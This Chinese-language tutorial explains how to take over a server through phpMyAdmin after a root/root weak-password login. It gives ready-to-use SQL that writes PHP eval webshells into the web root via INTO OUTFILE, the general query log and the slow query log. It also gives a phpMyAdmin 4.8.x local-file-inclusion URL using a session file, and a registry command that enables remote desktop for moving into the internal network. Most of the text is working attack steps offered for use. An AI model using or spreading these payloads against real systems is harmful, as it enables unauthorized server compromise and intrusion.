環境搭建
phpmyadmin拿shell,登錄弱口令root root

一、select into outfile直接寫入
1.利用條件
- 對web目錄需要有寫權限能夠使用單引號
- 知道絕對路徑
- secure_file_priv沒有具體值
2.步驟
查看有沒有配置secure_file_priv
show global variables like '%secure%';

secure_file_priv值為NULL,表示限制mysql不允許導入導出。沒有具體值時,表示不對mysqld的導入導出做限制
當知道路徑時( 通過報錯獲取路徑/phpinfo),可以直接使用
?id=1 union select "<?php @eval($_POST['tutu']);?>" into outfile("C:/phpStudy/www/tutu.php")
或者選擇數據庫如test
新建一個表a
在a中插入
<?php @eval($_POST['tutu']);?>
然后
select * from a into outfile 'C:/phpStudy/www/tutu.php';
將a中的數據導出到文件tutu.php
二、開啟全局日志getshell
1.利用條件
必須是root權限
2.步驟
查看配置
show variables like '%general%';

開啟general log模式
set global general_log = on;
設置日志目錄為shell地址
set global general_log_file = 'C:/phpStudy/www/tutu.php';
寫入shell
select '<?php eval($_POST[cmd]);?>'
文件內容如下,然后用webshell管理工具連就可以了

三、使用慢查詢日志getshell
1.慢查詢日志
記錄所有執行時間超過long_query_time秒的所有查詢或者不使用索引的查詢。默認情況下,MySQL數據庫是不開啟慢查詢日志的,long_query_time的默認值為10(即10秒,通常設置為1秒),即運行10秒以上的語句是慢查詢語句。
2.步驟
show variables like '%slow%';

修改日志文件絕對路徑及文件名
set global slow_query_log_file = 'C:/phpStudy/www/hack.php';
啟用慢查詢日志
set GLOBAL slow_query_log=on;
寫shell
select '<?php phpinfo();?>' from mysql.db where sleep(10);


四、利用phpmyadmin4.8.x本地文件包含漏洞getshell
詳情
https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247485036&idx=1&sn=8e9647906c5d94f72564dec5bc51a2ab&chksm=e89e2eb4dfe9a7a28bff2efebb5b2723782dab660acff074c3f18c9e7dca924abdf3da618fb4&mpshare=1&scene=1&srcid=0621gAv1FMtrgoahD01psMZr&pass_ticket=LqhRfckPxAVG2dF%2FjxV%2F9%2FcEb5pShRgewJe%2FttJn2gIlIyGF%2FbsgGmzcbsV%2BLmMK#rd
通過包含sedsion文件的方法來getshell
1.步驟
select '<?php phpinfo()?>';
然后查看自己的sessionid(cookie中phpMyAdmin的值)
對應的SESSION文件為 /tmp/sess_sessionid
然后包含session文件
http://192.168.2.121/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../phpstudy/tmp/tmp/sess_umsiqe23dms2uvn73k1696ernl01taut
進入內網

查看3389是否開啟

開啟3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f


